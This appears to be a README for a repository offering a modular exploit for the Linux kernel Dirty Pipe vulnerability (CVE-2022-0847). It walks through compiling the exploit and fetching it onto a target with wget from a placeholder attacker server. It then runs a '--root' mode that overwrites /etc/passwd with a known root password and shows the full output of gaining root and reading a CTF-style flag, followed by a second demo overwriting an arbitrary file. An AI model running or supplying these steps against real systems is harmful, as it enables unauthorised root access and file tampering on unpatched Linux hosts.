Dirty Pipe Exploit: CVE-2022-0847

The Dirty Pipe vulnerability, also known as CVE-2022-0847, is a significant flaw within the Linux kernel. This repository provides an adapted version of the widely used exploit code to make it more user-friendly and modular.

A very good explanation of this vulnerability can be found on the HackTheBox blog. Max Kellermann's original, more detailed explanation can be found on his blog.

This adapted version is segmented into different methods to increase modularity and ease of modification. Notably, there's an added --root option that modifies the /etc/passwd file, to leverage root access with password el3ph@nt!.

Compile the exploit statically:

gcc -o dpipe dpipe.c -static

And retrieve-it from your target before launching-it:

yoan@teecup:~$ wget http://YOUR_SERVER_ADDRESS/unix/cve/dpipe
--2023-10-15 20:07:44--  http://YOUR_SERVER_ADDRESS/unix/cve/dpipe
Connecting to YOUR_SERVER_ADDRESS:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 769792 (752K) [text/plain]
Saving to: ‘dpipe’

dpipe                                   100%[=============================================================================>] 751.75K  --.-KB/s    in 0.09s

2023-10-15 20:07:44 (8.09 MB/s) - ‘dpipe’ saved [769792/769792]

yoan@teecup:~$ chmod +x dpipe
yoan@teecup:~$ ./dpipe --root
[Dirty Pipe] Attempting to backup '/etc/passwd' to '/tmp/passwd.bak'
[Dirty Pipe] Successfully backed up '/etc/passwd' to '/tmp/passwd.bak'
[Dirty Pipe] Initiating write to '/etc/passwd'...
[Dirty Pipe] Data size to write: 131 bytes
[Dirty Pipe] File '/etc/passwd' opened successfully for reading.
[Dirty Pipe] Pipe size determined: 65536 bytes
[Dirty Pipe] Filling the pipe...
[Dirty Pipe] Pipe filled successfully.
[Dirty Pipe] Draining the pipe...
[Dirty Pipe] Pipe drained successfully.
[Dirty Pipe] Data successfully written to '/etc/passwd'.
[Dirty Pipe] You can connect as root with password 'el3ph@nt!'
[Dirty Pipe] Program execution completed successfully.
yoan@teecup:~$
yoan@teecup:~$ cat /etc/passwd
root:$6$9WETWbCBTQ8pxg4I$odZAx8iIlayCnFdUwDM5dHVfsXXZo1RHRp2a4uQzcPDkRiTJYLA4loZESihn4ASGhWKN9.RWPT.CZJdyfTej4/:0:0:root:/root:/bin/sh
:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
yoan:x:1000:1000::/home/yoan:/bin/bash
yoan@teecup:~$ su root
Password:
# cd /root
# cat flag.txt
Great job! You found me.

You can also use the exploit to overwrite content in other files:

yoan@teecup:~$ echo "Vxxx" > dirty
yoan@teecup:~$ cat dirty
Vxxx
yoan@teecup:~$ ./dpipe dirty 1 uln
[Dirty Pipe] Standard file overwrite mode detected...
[Dirty Pipe] Attempting to backup 'dirty' to '/tmp/dirty.bak'
[Dirty Pipe] Successfully backed up 'dirty' to '/tmp/dirty.bak'
[Dirty Pipe] Initiating write to 'dirty'...
[Dirty Pipe] Data size to write: 3 bytes
[Dirty Pipe] File 'dirty' opened successfully for reading.
[Dirty Pipe] Pipe size determined: 65536 bytes
[Dirty Pipe] Filling the pipe...
[Dirty Pipe] Pipe filled successfully.
[Dirty Pipe] Draining the pipe...
[Dirty Pipe] Pipe drained successfully.
[Dirty Pipe] Data successfully written to 'dirty'.
[Dirty Pipe] Program execution completed successfully.
yoan@teecup:~$ cat dirty
Vuln